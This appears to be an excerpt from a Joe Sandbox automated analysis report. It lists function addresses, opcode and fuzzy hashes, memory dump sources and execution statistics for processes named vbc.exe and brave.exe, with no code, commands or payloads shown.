Instruction ID: 6572e598ba8bfde8bdb64de142c72f9926f2999b81a223961de5052fa30a64fa
Opcode Fuzzy Hash: 5f50dfb05e409b59b45da44245a06779264f9b6591c6ef67bc35701f37b5c621
Instruction Fuzzy Hash: 08F03130A00249EFCF40EFB4E85855CBBB9EF45344F505869C8069B790EB355E04CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0576E2A5 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fd02a9190a83bb52d9fc35091dcdb6a5ae0666b3d5e03122b7fedff8ab3477f
Instruction ID: f646ce1b6a46a85dee76eea6af3af92a6940fe13d1edb73f423fa0038f9c4d1e
Opcode Fuzzy Hash: 4fd02a9190a83bb52d9fc35091dcdb6a5ae0666b3d5e03122b7fedff8ab3477f
Instruction Fuzzy Hash: C101B279A45259AFDF11CB90D855FEEBB76BF48304F248005ED02BB2A4C7759940EF60

Uniqueness

Uniqueness Score: -1.00%

Function 0576C298 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0b35dd49edd083590dcc8945e642ba79be7e16ed16e6537986cccfd5e0dd474
Instruction ID: b45c8dadf1fe6f66caea442727b5444b453bdf155c23530825931941f5cf55e2
Opcode Fuzzy Hash: e0b35dd49edd083590dcc8945e642ba79be7e16ed16e6537986cccfd5e0dd474
Instruction Fuzzy Hash: 02F0F470A042188FCB54EFA9D80859EBBF5FF88715F54852AD94AE3300D774AA05CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 05763527 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fa24fbcef59ef605be9ecec8dd11fc98369517b46c22bcb57e488ca9fbec71f
Instruction ID: 96825a73fa54708fb3c9c8e0824343169da8416cfd107d0b167f9a94c17b0d10
Opcode Fuzzy Hash: 7fa24fbcef59ef605be9ecec8dd11fc98369517b46c22bcb57e488ca9fbec71f
Instruction Fuzzy Hash: C8F0823160C3909FD7069774B45C6AD7FBADFC6214F0400AFD142CB362CE680C0687A2

Uniqueness

Uniqueness Score: -1.00%

Function 0576C498 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c59e2203d6f6f371720cfdd53d352b8e8ab186aa9f4025d873cf37eae2c1c8c
Instruction ID: bf9827d6f5c4ea1035981803b36d4035b4df440f55b8f44789304d5ebfb0b2ee
Opcode Fuzzy Hash: 8c59e2203d6f6f371720cfdd53d352b8e8ab186aa9f4025d873cf37eae2c1c8c
Instruction Fuzzy Hash: EAF0E5323059655FC301DF68D844C49BBA9BF816203098299E54987721CB20FD40C7C0

Uniqueness

Uniqueness Score: -1.00%

Function 0576C227 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fb5bba428fd16444ed64f62df07201db4bd1bb655812d64e16150ec34158806
Instruction ID: ab88cb27f6ac3fec0f56119a533d2841a12df391074f535c1bf57a268c00e36f
Opcode Fuzzy Hash: 4fb5bba428fd16444ed64f62df07201db4bd1bb655812d64e16150ec34158806
Instruction Fuzzy Hash: F8E02230304240AFD7087EAAB848D5E7BAEEFC9361F05447DE609CB322CBB10C1482E1

Uniqueness

Uniqueness Score: -1.00%

Function 05763590 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7459bde7a8a144c7897d78fa8c2ebb9a1db985a23c3bd05f038ea73fac8446d
Instruction ID: 64dce7d334146d2786fcdb61ac6ad2b5337a85620db035cbea987705006c24ae
Opcode Fuzzy Hash: b7459bde7a8a144c7897d78fa8c2ebb9a1db985a23c3bd05f038ea73fac8446d
Instruction Fuzzy Hash: ABE092313003446BD7142BAAA858E5EBADEEBC9368B40042CE60ECB750CA621C0487E6

Uniqueness

Uniqueness Score: -1.00%

Function 05764520 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d36390f8ec224a35acbf0bdc7a418277a0c04bc94175a1673a20d3aff1258c80
Instruction ID: 6f995f41845db9a9e5e96fe00af92562502b36cb35688084fbe10f3a0f460832
Opcode Fuzzy Hash: d36390f8ec224a35acbf0bdc7a418277a0c04bc94175a1673a20d3aff1258c80
Instruction Fuzzy Hash: FAF06730501B008FDB28DF22E408556BBFAFF88301B00962EE84A86B50EB70A446CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0576B3D8 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ab2b22da2bf2e6a84c5ac95e0f6c47fb158a8914d4c38c28d08f6782753f481
Instruction ID: 98ba88c44f3db54a462383a5d7cd540be4d7a6ec9c3c8191f1e5cc6ade16791f
Opcode Fuzzy Hash: 7ab2b22da2bf2e6a84c5ac95e0f6c47fb158a8914d4c38c28d08f6782753f481
Instruction Fuzzy Hash: 8CF06531209380CFD7129B7998594543F749E4711431804D7E849CF323DA22DC0ADBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0576C238 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb03acc12efb97a85d5de488c0c0241a6a47262735ccd2d3340693d774ab12a2
Instruction ID: 72e799643257969ae7b422e6896fb1035e0c5eead738d9efcd62787c36391be7
Opcode Fuzzy Hash: eb03acc12efb97a85d5de488c0c0241a6a47262735ccd2d3340693d774ab12a2
Instruction Fuzzy Hash: 01E0863130425467D7197EAABC48C5FBB9EDBC9775B10483DE609C7711DEB15C0482E6

Uniqueness

Uniqueness Score: -1.00%

Function 05768920 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fb8e290c1f5e6b7a82881933b0f38ee041ed0988f362d0b05aeda06c3944a4b
Instruction ID: f6e383092a0b99ea6249755269efc14be8a091b6a31fb125fdd42924cb1bb5a5
Opcode Fuzzy Hash: 0fb8e290c1f5e6b7a82881933b0f38ee041ed0988f362d0b05aeda06c3944a4b
Instruction Fuzzy Hash: 52E0263130E3159357196276A80066D369BAEC21A83080979DA1DCB640EF71C8069792

Uniqueness

Uniqueness Score: -1.00%

Function 057644C0 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 647c7a91ec89cb4cdfd1f7638c86a51157873134f5aebe8fffd5e53f00d94b99
Instruction ID: 57663e9f2bb91c89b973d68fdf64b76479adb6db0eb243999b1ba580489c637e
Opcode Fuzzy Hash: 647c7a91ec89cb4cdfd1f7638c86a51157873134f5aebe8fffd5e53f00d94b99
Instruction Fuzzy Hash: 20E065302087A49FD711AB69E408B1E7BEAEB81355F04082DD247CBB50CBB66805C7D6

Uniqueness

Uniqueness Score: -1.00%

Function 05763C99 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7dd5cfcf58e2cb8aabc09aff1946f10317135563480e14f5297d0ad277c56d9
Instruction ID: 3b25722953a05db505733befe2aac9e57963b1cc16782727b896477c2ec60d53
Opcode Fuzzy Hash: a7dd5cfcf58e2cb8aabc09aff1946f10317135563480e14f5297d0ad277c56d9
Instruction Fuzzy Hash: C8F0F835D05288EFCB02DFB4D5549DDBFB4EB45204F1441E6D445AB292E6311A15DB81

Uniqueness

Uniqueness Score: -1.00%

Function 0576B5B0 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cfbe38f0dec8499cce26e98055cfeb0cd884993403d4c0bab68a9e34798cc5b
Instruction ID: bc9e84bd1d649d76642ecf40ab5a2ad22b936da53e5153a161bd3eb5d1d3136c
Opcode Fuzzy Hash: 6cfbe38f0dec8499cce26e98055cfeb0cd884993403d4c0bab68a9e34798cc5b
Instruction Fuzzy Hash: B5E08631509394AFC7078B74581558A7FB98A1A114B0540DBD148DF352DA71690587D2

Uniqueness

Uniqueness Score: -1.00%

Function 05760471 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57b8a4510a1f1f50fd1e3ac68d296b5c0409c0b2f0c4c8270fd29dc41118ea56
Instruction ID: 32c150676f2819b8d2f6ed372d24caf0df0e30ec89371c04f8df6b6c4e45e94c
Opcode Fuzzy Hash: 57b8a4510a1f1f50fd1e3ac68d296b5c0409c0b2f0c4c8270fd29dc41118ea56
Instruction Fuzzy Hash: 8FE0A93490D2489FCB02EBB0E9197DC7BB0FB42200F1148EA984AD7281EB300A04DB11

Uniqueness

Uniqueness Score: -1.00%

Function 05760439 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c898d66b36e3d44ca7aa53f3269683238bcbc221644ba00194072afd8c0d60b5
Instruction ID: 514840d6f05afa7c942387c9ab1fd82a8b9698ce99c21373a6993a34d65fd9e4
Opcode Fuzzy Hash: c898d66b36e3d44ca7aa53f3269683238bcbc221644ba00194072afd8c0d60b5
Instruction Fuzzy Hash: B2E0C27881E3964FCB374BB0AA59BB47F20FB03141F0906CAD88887162EB718804DB62

Uniqueness

Uniqueness Score: -1.00%

Function 05760480 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bda3749f86cea32daf68906566fa8994fb2714ba7b9a110606637986482cdb1
Instruction ID: 598cd02917222d00f9de29c7f9ecdb82d86c1ed448629ceed51820dc47c8f58b
Opcode Fuzzy Hash: 3bda3749f86cea32daf68906566fa8994fb2714ba7b9a110606637986482cdb1
Instruction Fuzzy Hash: EEE08634959208EFCB14EFF4E405A9DBBB4FB46354F5149A9D406D3200EB311E00DF54

Uniqueness

Uniqueness Score: -1.00%

Function 057680ED Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdabcda019036c8cc468d0f9e30ab6715d199afc645dafaf37e601140e9bd0c1
Instruction ID: 277e0c672e66ae190001e7229bd401b6e22365a3d95f49bb5135ee4c56364980
Opcode Fuzzy Hash: bdabcda019036c8cc468d0f9e30ab6715d199afc645dafaf37e601140e9bd0c1
Instruction Fuzzy Hash: C2E012367001555F8745AB98FC4486DB7ADFBC8362711042DEA4AD7381CB325C048791

Uniqueness

Uniqueness Score: -1.00%

Function 05766A00 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ee991064bad836974a9c05ee38f68946d3fb04919a964fcf4f6e6f6e0b31b73
Instruction ID: 28603a51368e6f9def52301da874714423a45b00b4f7cbe31d3c58ce9b3f4a0f
Opcode Fuzzy Hash: 3ee991064bad836974a9c05ee38f68946d3fb04919a964fcf4f6e6f6e0b31b73
Instruction Fuzzy Hash: CBE08631105364CFFB42B610F814E697B9AE7C2354F40495CD9458FB42DB300C0687D1

Uniqueness

Uniqueness Score: -1.00%

Function 05763548 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b673c67271f388c400851f141fe4bce3499b310e8467704b4c37abe027bcb28
Instruction ID: ae32743b0be4a7e86a2f3b89c4a0ae9306850d03071e5d3af1db21bb324036fb
Opcode Fuzzy Hash: 5b673c67271f388c400851f141fe4bce3499b310e8467704b4c37abe027bcb28
Instruction Fuzzy Hash: 59D05E363042649B8A052769F41C8AE7BAFDFC5665304142EE607CB340DF655C0647E6

Uniqueness

Uniqueness Score: -1.00%

Function 0576E700 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c95e4f5d8af4685233e75c7a7b7c57e976f21cbe28b76500548e7a6a7c56b43a
Instruction ID: c31141d73dc015e7a9a31cbc1f000dd1b8bae4cab8755f0b9da75e144b610a3f
Opcode Fuzzy Hash: c95e4f5d8af4685233e75c7a7b7c57e976f21cbe28b76500548e7a6a7c56b43a
Instruction Fuzzy Hash: 27E092B4D0420D9F8B84DFA9D4465BFBFF8AB48300F10816AE918E2240E6345A91DFE5

Uniqueness

Uniqueness Score: -1.00%

Function 05763CA8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3daea5ea4670f2c5ebebaa3e753795b7e8153d0d1e7baccd160b65930d8d0af7
Instruction ID: e0e539002dd83f3cabae47b6b154c22a87a3aaa9e4446a9c1746885de92ca366
Opcode Fuzzy Hash: 3daea5ea4670f2c5ebebaa3e753795b7e8153d0d1e7baccd160b65930d8d0af7
Instruction Fuzzy Hash: E0E07E75D0020CFFCF40DFA4D9449DDBBB9EB48201F1082AAD80AA3280EA316B159B81

Uniqueness

Uniqueness Score: -1.00%

Function 0576C1E0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4070c43fb8770b46e55cbe5cadf24b00858d70a8ed144ab2a868c0518c54881c
Instruction ID: e8541e4fde903a8bceb832fe5319abc0de14820089777b8ce1b8e16517156bc8
Opcode Fuzzy Hash: 4070c43fb8770b46e55cbe5cadf24b00858d70a8ed144ab2a868c0518c54881c
Instruction Fuzzy Hash: 83E04F30604380DFDB49EF39D00AB223BDAEB81714F05909CD4458F62AC7708464AB86

Uniqueness

Uniqueness Score: -1.00%

Function 0576B5C0 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abe818a0c8fa03c1f43ad48c0ed8beeafd6bd20d65854d5ddc0188d0a34528ba
Instruction ID: 35391047fce9e76f3b8baee7c200aa9b3f7b8d39b18e0edb1887aa0b18dfb554
Opcode Fuzzy Hash: abe818a0c8fa03c1f43ad48c0ed8beeafd6bd20d65854d5ddc0188d0a34528ba
Instruction Fuzzy Hash: FCD01232A0432C6B1B05DAA568105DF7B9ECB44174F01406BD60DD7340EE716A4542D5

Uniqueness

Uniqueness Score: -1.00%

Function 05767078 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f3121cc648821e14081520f8ec717242257d0978f04d71aab9835af26daa135
Instruction ID: 5aea6d36c4285807ae8d200f4b16eb202a6a07d924e64da726157482f32e3be3
Opcode Fuzzy Hash: 2f3121cc648821e14081520f8ec717242257d0978f04d71aab9835af26daa135
Instruction Fuzzy Hash: 8ED05E32258288DFCB02DB65C844C013F76BF4B60038444D9F5818F3B2DA72A824DB51

Uniqueness

Uniqueness Score: -1.00%

Function 05767C38 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c8a19114e907df4eb4792852c36b1d9a9cd7427346ae062433b6a193731d819
Instruction ID: d0ca4cc5be9529a0530737db903034680167df93355a101c1422f63acb00091d
Opcode Fuzzy Hash: 6c8a19114e907df4eb4792852c36b1d9a9cd7427346ae062433b6a193731d819
Instruction Fuzzy Hash: 7AD0C91530D2E00F9783277C39740A9AFE5DEC6551B8E64EFD6C2CB3EACC14484A83A2

Uniqueness

Uniqueness Score: -1.00%

Function 05760448 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abe9397908966a920b86b93d9263d07a862d46e43a9ecc09197e19fbf44a1ee4
Instruction ID: 0769e9a2c110e57eabff9b83b407e86879e1857c2fb64976f7680446b37c0ee9
Opcode Fuzzy Hash: abe9397908966a920b86b93d9263d07a862d46e43a9ecc09197e19fbf44a1ee4
Instruction Fuzzy Hash: 49C0123486A2099BCA199BA4B40D7A9BE68F707245F001595A808521009F31440099A5

Uniqueness

Uniqueness Score: -1.00%

Function 0576B591 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3603da74d83307a0de4071f6e2c60ced50174a1586ab6cefed6bae62f99cc1d
Instruction ID: a7d579f1118e86451ef51d0e5d4253fb182e8606f509370bc0892f1a0241a14d
Opcode Fuzzy Hash: b3603da74d83307a0de4071f6e2c60ced50174a1586ab6cefed6bae62f99cc1d
Instruction Fuzzy Hash: F7C04C315893808FCB0E4FA4A5954943FB1AB4B30430942EDE04ADB371C6798547CB15

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 057661F0 Relevance: 8.9, Strings: 7, Instructions: 112COMMON

Download Yara Rule

Strings

,~Gg, xrefs: 057662DF
,~Gg, xrefs: 057662B3
,~Gg, xrefs: 05766232
,~Gg, xrefs: 05766337
,~Gg, xrefs: 0576625B
,~Gg, xrefs: 05766287
,~Gg, xrefs: 0576630B

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID: ,~Gg$,~Gg$,~Gg$,~Gg$,~Gg$,~Gg$,~Gg
API String ID: 0-1677805647
Opcode ID: 5991facec9c650ca0b4be673129ec65394be3f7aa7734685d7192a7109fb9562
Instruction ID: a1251a9c8ca9a3e2b3bafbf516298a53e8e4526a7c5dab05dc490b13ba7f4ff5
Opcode Fuzzy Hash: 5991facec9c650ca0b4be673129ec65394be3f7aa7734685d7192a7109fb9562
Instruction Fuzzy Hash: F53191383042549BD70A6A64D8A8FBF729BDBCA3A0F14481DDD0B8B795CF345C0667E2

Uniqueness

Uniqueness Score: -1.00%

Function 05766200 Relevance: 8.9, Strings: 7, Instructions: 107COMMON

Download Yara Rule

Strings

,~Gg, xrefs: 057662DF
,~Gg, xrefs: 057662B3
,~Gg, xrefs: 05766232
,~Gg, xrefs: 05766337
,~Gg, xrefs: 0576625B
,~Gg, xrefs: 05766287
,~Gg, xrefs: 0576630B

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID: ,~Gg$,~Gg$,~Gg$,~Gg$,~Gg$,~Gg$,~Gg
API String ID: 0-1677805647
Opcode ID: fd63fe939993f7979a13420b7a154e692b2afbf5b0814571b5124f7257d4f748
Instruction ID: 801658db4b02cfe47968b635569ed972d85d5752585d9dbd0d8e918d999f682a
Opcode Fuzzy Hash: fd63fe939993f7979a13420b7a154e692b2afbf5b0814571b5124f7257d4f748
Instruction Fuzzy Hash: 8031A638305214ABD60A7665D898FBF629FDBC93A0F50481DDD0B87B95CF755C0623E2

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: brave.exePID: 1332, Parent PID: 5072COMMON

Execution Graph

Execution Coverage:	5.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.4%
Total number of Nodes:	1114
Total number of Limit Nodes:	17

Executed Functions

Function 00007FF6FC4C1770 Relevance: 21.9, APIs: 11, Strings: 1, Instructions: 890
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount64.KERNEL32 ref: 00007FF6FC4C1799
GetTickCount64.KERNEL32 ref: 00007FF6FC4C17AA

Strings

yAA, xrefs: 00007FF6FC4C1EB1

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: Count64Tick
String ID: yAA
API String ID: 1927824332-3548342407
Opcode ID: 89303c7a78c03dd05d9e6546bda1d5618f4eb5397d0ce9847153c4dcf413787b
Instruction ID: df79f7d8c17ade21c6ee37d5595615db6320384a072df1b27d1b44a5a37e3caa
Opcode Fuzzy Hash: 89303c7a78c03dd05d9e6546bda1d5618f4eb5397d0ce9847153c4dcf413787b
Instruction Fuzzy Hash: 0392EF22A096C285FB21DB28F4157BA67A1FB85788F445135CAAC93BE6FF7DD244C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4C3170 Relevance: 19.7, APIs: 8, Strings: 3, Instructions: 423
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_stricmp.MSVCRT ref: 00007FF6FC4C3384
strcmp.MSVCRT ref: 00007FF6FC4C358E
strcmp.MSVCRT ref: 00007FF6FC4C3640
strcmp.MSVCRT ref: 00007FF6FC4C36E7
strcmp.MSVCRT ref: 00007FF6FC4C3797
strcmp.MSVCRT ref: 00007FF6FC4C383A
strcmp.MSVCRT ref: 00007FF6FC4C38BA

Strings

y, xrefs: 00007FF6FC4C34E9
KF , xrefs: 00007FF6FC4C385B
}, xrefs: 00007FF6FC4C36FC

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: strcmp$_stricmp
String ID: KF $y$}
API String ID: 3398372305-1747734038
Opcode ID: 2ee6c4bc9c73bbe018eb2e9c596121fa35c4079898e358f7aeca13623c809fb1
